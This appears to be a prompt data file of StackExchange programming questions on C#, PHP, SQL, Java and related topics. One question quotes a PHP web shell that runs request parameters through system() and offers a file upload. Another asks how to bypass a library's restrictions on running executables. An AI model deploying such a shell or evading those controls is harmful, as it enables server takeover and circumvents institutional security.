instruction_seed
stringlengths
1
35.8k
_source
stringclasses
1 value
In Joel's article for Inc. entitled How Hard Could It Be?: The Unproven Path, he wrote: ...it turns out that Jeff and his programmers were so good that they built a site that could serve 80,000 visitors a day (roughly 755,000 page views) How would I go about figuring out the maximum load my server(s) can hand...
stackexchange/codereview
I have multiple Network Interface Cards on my computer, each with its own IP address. When I use gethostbyname(gethostname()) from Python's (built-in) socket module, it will only return one of them. How do I get the others?
stackexchange/codereview
Since Hex (base 16) uses 0-9A-F, and (I'm assuming here) Base 17 uses 0-9A-G and so on. What symbols are used once 0-9A-Z are all used up.
stackexchange/codereview
I would like to set some initial variables (like format compact and the current directory) automatically on each startup of Matlab. How can I do that?
stackexchange/codereview
When using Fiddler to monitor HTTP Requests & Responses in Internet Explorer it ignores all traffic directed to http://localhost.
stackexchange/codereview
For example, mysql quote table name using SELECT * FROM `table_name`; notice the ` Does other database ever use different char to quote their table name
stackexchange/codereview
Consider the following code: client.Send(data, data.Length, endpoint); byte[] response = client.Receive(ref endpoint); While, according to WireShark (network sniffer), the remote host does reply with data, the application here just waits for data forever... it does not receive the answer from the remote host for some ...
stackexchange/codereview
I'm trying to write a log file from an ASP.NET application under IIS7, but keep getting the following exception: UnauthorizedAccessException "Access to the path 'C:\Users\Brady\Exports' is denied." I have given write access to the iis_iusrs, iis_wpg, and aspnet users, based on various advices found by Google, but s...
stackexchange/codereview
I've tried this, but it doesn't work: col * format a20000 Do I really have to list every column specifically? That is a huge pain in the arse.
stackexchange/codereview
So .NET 3.0/3.5 provides us with lots of new ways to query, sort, and manipulate data, thanks to all the neat functions supplied with LINQ. Sometimes, I need to compare user-defined types that don't have a built-in comparison operator. In many cases, the comparison is really simple -- something like foo1.key ?= foo2....
stackexchange/codereview
I've an image that is wrapped in an anchor tag that, through jQuery, triggers an action somewhere else on the page. When I click on the image, two tiny 1px by 1px boxes show up in the upper and lower left corners of the image. My CSS styles explicitly state no borders for images: a,img { border: 0; } It also seems to ...
stackexchange/codereview
I want to know how events are used in embedded system code. Main intention is to know how exactly event flags are set/reset in code. and how to identify which task is using which event flag and which bits of the flag are getting set/reset by each task. Please put your suggestion or comments about it. Thanks in advance....
stackexchange/codereview
I have a unique development situation and would like some input from others. I have a situation where I need to load loose xaml files within a rich client application. A given loose xaml file may have references to an assembly not currently loaded in memory so the referenced assembly is loaded before the loading the l...
stackexchange/codereview
I have a Java server that accepts SSL connections using JSSE and uses a simple XML message format inside the stream. I would like the server to read a complete message and then send a reply. This turns out to be quite difficult because org.xml.sax.XMLReader wants to read the entire stream and then call close(). I kn...
stackexchange/codereview
I'm wanting to add a search box onto my website - which is built using Zend Framework 1.6 - using Zend Search Lucene. The majority of my content is static, and held within Controller Views. Does anyone have a script that can index content from the views, and add them into the Lucene search database so I can search th...
stackexchange/codereview
In C# is there any real difference (other than syntax) under the hood between: myButton.Click += new EventHandler(myMemberMethod); and myButton.Click += myMemberMethod; ?
stackexchange/codereview
Does anyone know the bare minimum files required for Ext JS 2.2? I know the ExtJS site has a feature to "build" a small version of ExtJS (ext.js) as a replacement for ext-all.js but that's for minimizing the size of ExtJS on the client. I'm interested in minimizing what's on the server. Currently the SDK comes with the...
stackexchange/codereview
I want to learn MSBuild, was wondering if someone could get me started with a simple build script to filter out my vs.net 2008 project of all files with the .cs extension. how do I run the build? where do you usually store the build also?
stackexchange/codereview
What does this option do? It is accessible from the Build menu.
stackexchange/codereview
I need to find the min and max value in an array. The .max function works but .min keeps showing zero. Public Class Program_2_Grade Dim max As Integer Dim min As Integer Dim average As Integer Dim average1 As Integer Dim grade As String Private Sub Button1_Click(ByVal sender As System.Object, By...
stackexchange/codereview
I have two questions : While doing source level debugging (using any debugger) does any debugger save state of some iteration/for-loop/any code executed and allow the user to go back to that previously executed code/data state at a later point of time during debugging? The need for this is some variable/pointer is cor...
stackexchange/codereview
I am writing a website with Visual Studio 2008 and ASP.NET 3.5. I have a masterpage set up to simplify the layout and to keep the content pages for content rather than content and layout. The navigation is list, css'd so it looks like a bar. In order to highlight the page on the bar, the list item needs to look like t...
stackexchange/codereview
In my database, I would like to store a decimal score. A score can have a value from 0 to 10, and values in between, such as 2.3 or 9.4. I recently learned that int only stores whole numbers and not decimals. I found out that you could use either double or decimal, but what I would like to know is if there is any diffe...
stackexchange/codereview
I'd like to do the same in C#. Is there anyway of using properties in C# with parameters in the same way I've done with the parameter 'Key' in this VB.NET example? Private Shared m_Dictionary As IDictionary(Of String, Object) = New Dictionary(Of String, Object) Public Shared Property DictionaryElement(ByVal Key As S...
stackexchange/codereview
So let's say I have an eBay-type application where only the seller can edit his/her listing. How do I go about restricting access to the Edit action based on the Id of the item we're editing and the currently logged in user? As far as I can tell, the Authorize attribute only allows you to restrict access to controller...
stackexchange/codereview
What is the most efficient way to do this?
stackexchange/codereview
Does anyone have experience with using very large heaps, 12 GB or higher in Java? Does the GC make the program unusable? What GC params do you use? Which JVM, Sun or BEA would be better suited for this? Which platform, Linux or Windows, performs better under such conditions? In the case of Windows is there any perform...
stackexchange/codereview
Using any tools which you would expect to find on a nix system (in fact, if you want, msdos is also fine too), what is the easiest/fastest way to calculate the mean of a set of numbers, assuming you have them one per line in a stream or file?
stackexchange/codereview
We're releasing a new set of resource bundles for a large open source project, and I'd like to make some good recommendations for cross platform resource bundle editors to translators. The only useful candidates I can find include: RBManager Eclipse ResourceBundle Editor
stackexchange/codereview
I would like to see the specific style elements that are used in the default stylesheet for the various browsers. Do the browsers have an actual file based stylesheetss that I locate on my system and read? If so, what are the default locations of those files? If not, where I can find this information?
stackexchange/codereview
I'm curious what techniques you find to be the best for storage and maintaining of viewstate with respect to an ASP.Net application running within a mobile web browser (i.e. Treo with Windows Mobile, or Blackberry Curve web browser).
stackexchange/codereview
I have a simple class that essentially just holds some values. I have overridden the ToString() method to return a nice string representation. Now, I want to create a ToXml() method, that will return something like this: <Song> <Artist>Bla</Artist> <Title>Foo</Title> </Song> Of course, I could just use a Strin...
stackexchange/codereview
I am working on a winforms html editor with multiple editor windows as each editor window will be written to a database field. I am creating the editor windows as a control array and was hoping to just have one toolbar above them that would handle the events such as apply bold, italic... based on the window I was curre...
stackexchange/codereview
Rather than scraping a Ruby version of this algorithm off the net I wanted to create my own based on its description here. However I cannot figure out two things def primeSieve(n) primes = Array.new for i in 0..n-2 primes[i] = i+2 end index = 0 while Math.sqrt(primes.last).ceil > primes[index] (prime...
stackexchange/codereview
I have a loop running that will process 1000's of records, currently once the loop is running it can't be stopped and the user must wait until it is finished. How can I stop the loop when someone clicks a 'Cancel' button? How do I break into that other routine? Thanks
stackexchange/codereview
I would like to embed Flash Player directly inside a C++ or Java application. I found an article that describes how to do this for C#: http://www.adobe.com/devnet/flash/articles/stock_history03.html Unfortunately, I have no experience with C#, COM or ActiveX. I need someone to translate this code to C++, allowing me to...
stackexchange/codereview
I'm trying to turn Etags off on iis 6 since I'm load ballancing multiple servers, I don't want the etag to become a problem.
stackexchange/codereview
There seems to be two major conventions for organizing project files and then many variations. Convention 1: High-level type directories, project sub-directories For example, the wxWidgets project uses this style: /solution /bin /prj1 /prj2 /include /prj1 /prj2 /lib /prj1 /p...
stackexchange/codereview
Is there a way that I can run a ASP.NET MVC Project on godaddy.com shared web hosting?
stackexchange/codereview
I'm relatively new to C++. In Java, it's easy for me to instantiate and use a hashmap. I'd like to know how to do it in a simple way in C++, since I saw many different implementations and none of them looked simple to me.
stackexchange/codereview
Mylyn is a task oriented plugin that allows for example to assign a set of files to a task. Is there a Mylyn type plugin for Visual Studio?
stackexchange/codereview
I have a shared library that I wish to link an executable against using GCC. The shared library has a nonstandard name not of the form libNAME.so, so I can not use the usual -l option. (It happens to also be a Python extension, and so has no 'lib' prefix.) I am able to pass the path to the library file directly to the ...
stackexchange/codereview
I'm wondering if it is possible to deploy Windows Media Foundation without Windows media player 10 or 11? Here's the context. I have a WPF application running in a corporate enterprise setting. WPF requires Windows Media Foundation for rich media support. Windows Media Foundation is distributed via Windows media player...
stackexchange/codereview
Is it possible to have the StripesDispatcher be the sole determiner of webserver urls by looking at the @UrlBinding annotations on action beans AND also having those action beans forward to pre-compiled JSPs / servlets WITHOUT needing to define and maintain <servlet> <servlet-mapping> pairs in web.xml? Basically, I jus...
stackexchange/codereview
I want to check in Transact SQL if a specific column in a table has statistics and if so to get them all.
stackexchange/codereview
So I was wondering if there are any major differences between the various implementations of the hash algorithms, take the SHA series of algorithms for example. All of them have 3 implementations each, 1 in managed code and 2 wrappers around different native crypto APIs, but are there any major differences between usin...
stackexchange/codereview
Can anyone provide me with a link to good article about using Firebird.NET with a WinForms application? A simple google search did not yield good results - I am looking for a step-by-step guide which will help me to quickly a few things and am not sure the documentation is a good place to start. Thanks in advance. Anin...
stackexchange/codereview
Can anyone suggest me on what data structure to use for a soundex algorithm program? The language to be used is Java. If anybody has worked on this before in Java. The program should have these features: be able to read about 50,000 words should be able to read a word and return the related words having the same soun...
stackexchange/codereview
The Emacs cperl-mode seems to get confused less than perl-mode, but the Skittles effect makes the thing unusable for me. Does anyone have or know of an example of a .emacs block that causes cperl-mode to use the colorization from perl-mode, ideally in a form readable enough that I can go back and turn back on the defa...
stackexchange/codereview
We need some input on what is a good design pattern on using AJAX in a Java application. Consider a simple scenario: User clicks a button which sends a request to a Java method to fetch data from DB. Java object is returned by method and needs to be converted into a HTML table. HTML table is shown on JSP. What we cu...
stackexchange/codereview
How can I set the location (as it's picked up in CoreLocation services) in the iPhone Simulator?
stackexchange/codereview
$query = "SELECT * FROM `table`"; $results = mysql_query($query, $connection); If 'table' has no rows. whats the easiest way to check for this.?
stackexchange/codereview
Upgraded to Flash 10 today and now many flash videos aren't playing on a lot of sites, including a couple i've created. What's the fix? edit Let me clarify here. this question is intended to find the code change that is needed to allow users of all versions of flash, including the most recent release, to be able to see...
stackexchange/codereview
I want to check if a given date is more than a month earlier than today's date using LINQ. What is the syntax for this? Thanks in advance.
stackexchange/codereview
There are two Databases, Database A has a table A with columns of id, group and flag. Database B has a table B with columns of ID and flag. Table B is essentially a subset of table A where the group == 'B'. They are updated/created in odd ways that are outside my understanding at this time, and are beyond the scope...
stackexchange/codereview
Does anyone have experience with trellis? Looking at it as a framework for defining rules for field interaction and validation in grids and data entry screens.
stackexchange/codereview
A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script: <?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> <?php if(isset($_REQUEST['upload'])) { echo '<form enctype="multipart/form-...
stackexchange/codereview
I need to render quite alot (tens of thousands) images off-screen using OpenGL. I am running under Windows and using QT as a framework. the solution can be windows only, it doesn't really matter. From what I've found using Google there are a number of options for doing this This article which seems rather dated suggest...
stackexchange/codereview
I would like to show a set of consecutive numbers in a UIPickerView component but have it wrap around like the seconds component of the Clock->Timer application. The only behavior I can enable looks like the hours component of the Timer application, where you can scroll in only one direction.
stackexchange/codereview
Consider the delegate for a generic A to B function: public delegate B Fun<A, B>(A x); I can then write a function that accepts and invokes the Fun delegate: public static B invokeFun<A, B>(A x, Fun<A, B> f) { return f(x); } (Never mind whether it is wise to write invokeFun.) Can I write invokeFun without naming the ...
stackexchange/codereview
I've seen a number of references to gzipping a javascript to save download time. But I also see a number of warnings that certain browsers do not support this. I have two different methods at my disposal: use mod_deflate to make Apache compress JS/CSS files in a given directory through htaccess use ob_start('gzhandle...
stackexchange/codereview
I'm using C# on Framework 3.5. I'm looking to quickly sort a Generic List<T>. For the sake of this example, let's say I have a List of a Person type with a property of lastname. How would I sort this List using a lambda expression? List<Person> people = PopulateList(); people.OrderBy(???? => ?????)
stackexchange/codereview
Trying to setup the exception_logger plugin on a production server. Everything worked fine on the dev machine. Trying to rake db:migrate on the prod server and i get this error: rake aborted! no such file to load -- pagination What am i missing?
stackexchange/codereview
We're in the process of replacing a legacy system. There is going to be a period of time with both the applications running in tandem. Users will be able to use either system and the challenge is to be able to keep their databases in sync with each other. The new system is ASP.NET and the legacy is VB6. Both are run...
stackexchange/codereview
I was thinking of adding some Achievements to our internal bug-tracking and time logging system. It's connected to an SQL Server back-end. At first I thought that the system could be run on the database, using triggers to, for example, know when: you've logged 1000 hours created 1000 tickets closed your own ticket wor...
stackexchange/codereview
Sharepoint Central Administration site uses the selector control I'm talking about a lot (for selecting site collections and web applications primarily) I have MOSS 2007 installed on a VM. When I open Central Administration from outside the VM from my desktop everything works fine. But when I open it from IE 6 install...
stackexchange/codereview
In traditional embedded programming, we will give a delay function like so: for(i=0;i<255;i++) for(j=0;j<255;j++); In the microprocessor's view, is this how the sleep() function works? Is there an alternative for the sleep() function in C?
stackexchange/codereview
let us have a situation in which the following program prints some 10 lines of # for(i=0;i<10;i++) prinf("\n#"); now how to go back to 5 th line and edit that # and change the color of it without clearing the screen or clearing the below 5 lines? I have tried window(5,0,20,20); textcolor(GREEN); cprintf("#"); but it...
stackexchange/codereview
I am reading over the K&R book, and am a little stuck. What is wrong with the following? void getInput(int* output) { int c, i; for(i=0; (c = getchar()) != '\n'; i++) output[i] = c; // printf("%c", c) prints the c value as expected output[++i] = '\0'; } When I run the program it never gets out of the loo...
stackexchange/codereview
Does anyone know of any code or tools that can strip literal values out of SQL statements? The reason for asking is I want to correctly judge the SQL workload in our database and I'm worried I might miss out on bad statements whose resource usage get masked because they are displayed as separate statements. When, in r...
stackexchange/codereview
Some iPhone applications, such as Pandora seem to directly manipulate the hardware volume and respond to physical volume button. How is this done? AudioSessionServices allows you to get the current hardware output volume with the kAudioSessionProperty_CurrentHardwareOutputVolume property, but it is (allegedly) read-onl...
stackexchange/codereview
I am writing PHP code where I want to pass the session id myself using POST. I don't want a cookie to store the session, as it should get lost when the user gets out of the POST cycle. PHP automatically sets the cookie where available. I learned it is possible to change this behaviour by setting session.use_cookies to ...
stackexchange/codereview
I've been struggling coming up with a good solution to separate my testing data from unit tests (hard coded values). Until it dawned on me that I could create beans with spring and use those beans to hold my data. Are there any draw backs to coding my unit tests this way? Albeit they run a bit slower seeing as h...
stackexchange/codereview
I'm looking for the easiest free SVN implementation I can find. I downloaded and installed VisualSVN Server - pretty easy. Installed TortioseSVN - pretty easy - both work together. Installed AnkhSVN, I can't get it to connect to the repository on the VisualSVN Server. Is there anything special I need to do to get AnkhS...
stackexchange/codereview
The installer sets up a default DB (if one doesn't already exist) and I want to exclude that from the uninstall process (Or have the user option to remove it or not, once I take the time to figure out customizing the GUI) Seems like best practice would be to just create the DB at runtime rather than install time, but f...
stackexchange/codereview
I'm building a .NET 3.5 web app and I am thinking about all the fundamental issues as I work through the project, like monitoring, exception handling, the lot. The app will obviously be small in size when it is rolled out because it won't have a high load until the site is heavily promoted (lines of code/cyclomatic com...
stackexchange/codereview
I have a UIView that will eventually contain about 2 screens worth of information. I want to give the user the ability to scroll down via flicking (just standard flicking like in Safari). How do I do this?
stackexchange/codereview
I'm trying to call a web service in an Excel Macro: Set objHTTP = New MSXML.XMLHTTPRequest objHTTP.Open "post", "https://www.server.com/EIDEServer/EIDEService.asmx" objHTTP.setRequestHeader "Content-Type", "text/xml" objHTTP.setRequestHeader "SOAPAction", "PutSchedule" objHTTP.send strXML And I get back the foll...
stackexchange/codereview
What I'm looking for is a basic equivalent of JavaScript's Array::join() whereby you pass in a separator character and uses that in its return string of all the subscripts. I could certainly write my own function using a StringBuilder or whatnot, but there must be something built into the .NET BCL. EDIT: Array of anyt...
stackexchange/codereview
What's the best way to get a temp directory name in Windows? I see that I can use GetTempPath and GetTempFileName to create a temporary file, but is there any equivalent to the Linux / BSD mkdtemp function for creating a temporary directory?
stackexchange/codereview
I need to do a modulus operation on very large integers. The biggest integer supported by my platform (edit: .NET 2.0) is a 64 bit integer, which aren't big enough for the numbers I'm working with. How can I do a modulus on really big integers, like 12654875632126424875387321657498462167853687516876876? I have a solut...
stackexchange/codereview
I have two tables that I would like to join but I am getting an error from MySQL Table: books bookTagNum ShelfTagNum book1 1 book2 2 book3 2 Table: shelf shelfNum shelfTagNum 1 shelf1 2 shelf2 I want my results to be: bookTagNum ShelfTagNum shelfNum book1 shelf1 1 boo...
stackexchange/codereview
So am I crazy for considering doing a beta/production release on Glassfish V3 Prelude? Since all of my content is dynamic, I'm not even thinking of bothering to set up apache in front either. Doing so complicates the setup by requiring something like AJP or mod_jk and will not offer us much in terms of capability. So ...
stackexchange/codereview
I want to be able to selectively copy a list of files and preserve their directory structure. The problem is that there are quite a few files that their path exceeds 256 character. How is this problem usually handled? Edit: I should make it clear that I only want to selectively copy files, not folders. I don't think...
stackexchange/codereview
I was looking through the plans for C++0x and came upon std::initializer_list for implementing initializer lists in user classes. This class could not be implemented in C++ without using itself, or else using some "compiler magic". If it could, it wouldn't be needed since whatever technique you used to implement init...
stackexchange/codereview
I've editing this original question as I think I've narrowed down the problem... I have one view in my site that will not let me put $document.ready within a masterpage contentplaceholder. I've stripped this page to the bare bones and the only thing that is special about it is it has a custom route in global.asax rout...
stackexchange/codereview
I'm planning to add XML support to application, but I'm not familiar with XML programming in Delphi. Basically I need to create objects based on XML nodes and generate XML file based on objects. Which XML component library I should use? Are there any good tutorials for XML with Delphi?
stackexchange/codereview
I have a system in which different server processes are handling requests passed as JMS messages from various clients via a JMS broker. I am trying to identify the source of the messages. Is there a way to get the IP or some identifying information about the origin ? Clarification: I already have the client deployed by...
stackexchange/codereview
I am seeing following exception when I try to use dynamic proxy com.intellij.rt.execution.application.AppMain DynamicProxy.DynamicProxy Exception in thread "main" java.lang.IllegalArgumentException: interface Interfaces.IPerson is not visible from class loader at java.lang.reflect.Proxy.getProxyClass(Proxy.java:3...
stackexchange/codereview
I have the following xml I'd like to deserialize into a class <?xml version="1.0" encoding="utf-8" ?> <root> <element1>String1</element1> <element2>String2</element2> </root> I am trying to serialize it into the following class: [XmlRoot("root")] public class root { [XmlElement("element1")] ...
stackexchange/codereview
Next Semester I will be taking a "Software Practive II" class. In that class, my professor wants us to learn XNA. I have been playing around with XNA for quite sometime, and enjoy its functionality and simplicity. However, XNA does not take advantage of System.Windows.Forms. Using CEGUI# I was able to get XNA to work ...
stackexchange/codereview
Are there any implementations of all the nifty Selenium on Rails methods like wait_for_visible, assert_not_text_present, ... for the ruby driver of Selenium RC? If not, how would I go about implementing something like wait_for_visible?
stackexchange/codereview
Is HTTPS Multipart file upload request a batch process? That is, if I have 99 files, and if the upload fails after file 95 has been uploaded, will that rollback the entire set?
stackexchange/codereview
What's the best way to implement user controls that require AJAX callbacks? I want to accomplish a few things: Have events done in the browser (eg, drag and drop) trigger an AJAX notification that can raise a control event, which causes code on the page using the control to do whatever it needs to do (eg, change a va...
stackexchange/codereview
If I had the following select, and did not know the value to use to select an item in advance like in this question or the index of the item I wanted selected, how could I select one of the options with jQuery if I did know the text value like Option C? <select id='list'> <option value='45'>Option A</option> <option va...
stackexchange/codereview
I have to compute at libraries quite often these days, and have been having some issues with my U3 smart drive. Despite working on some computers, public libraries here restrict the execution of EXE files and disable AutoPlay, rendering my U3 apps useless. Is there a good way of getting around the restriction and getti...
stackexchange/codereview
In a database prototype, I have a set of fields (like name, description, status) that are required in multiple, functionally different tables. These fields always have the same end user functionality for labeling, display, search, filtering etc. They are not part of a foreign key constraint. How should this be modeled?...
stackexchange/codereview
In VB6 you can do this: Dim a As Variant a = Array(1, 2, 3) Can you do a similar thing in VB.NET with specific types, like so?: Dim a() As Integer a = Array(1, 2, 3)
stackexchange/codereview
I recently convinced a customer to upgrade to Internet Explorer 7 but now she is having an issue printing. When printing emails from her webmail in IE6 they would print at 75% and fit on a single page. Now with IE7 they added the "Shirnk to Fit" option which is the default. This doesn't work as expected and makes her p...
stackexchange/codereview
How have you decided to handle data/control validation in your silverlight applications?
stackexchange/codereview